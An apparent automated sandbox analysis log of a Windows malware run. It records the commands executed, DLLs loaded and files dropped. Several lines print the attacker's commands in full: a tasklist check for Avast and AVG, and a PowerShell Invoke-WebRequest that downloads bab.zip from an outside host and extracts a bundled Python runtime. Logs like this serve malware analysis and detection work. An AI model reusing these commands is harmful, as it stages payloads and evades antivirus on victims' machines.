Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1728,i,17042775764427347121,15159452319379735921,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1728,i,17042775764427347121,15159452319379735921,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: D:\a\1\b\bin\amd64\_elementtree.pdb source: _elementtree.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\pyexpat.pdb source: pyexpat.pyd.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: .pdbrc source: genindex-all.html.23.dr
Source:	Binary string: <li><a href="library/pdb.html#index-1">Pdb (class in pdb)</a>, <a href="library/pdb.html#pdb.Pdb">[1]</a> source: genindex-all.html.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.set_trace">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testinternalcapi.pdb source: _testinternalcapi.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: _bz2.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testsinglephase.pdb source: _testsinglephase.pyd.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-all.html.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testcapi.pdb66 source: _testcapi.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_testcapi.pdb source: _testcapi.pyd.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: _multiprocessing.pyd.23.dr
Source:	Binary string: <li><a href="library/pdb.html#index-2">.pdbrc</a> source: genindex-all.html.23.dr, genindex-F.html.23.dr
Source:	Binary string: D:\a\1\b\bin\amd64\winsound.pdb source: winsound.pyd.23.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Source: libcrypto-3.dll.23.dr	Static PE information: section name: .00cfg
Source: libssl-3.dll.23.dr	Static PE information: section name: .00cfg
Source: zlib1.dll.23.dr	Static PE information: section name: .xdata

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testclinic.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_msi.pyd	Jump to dropped file
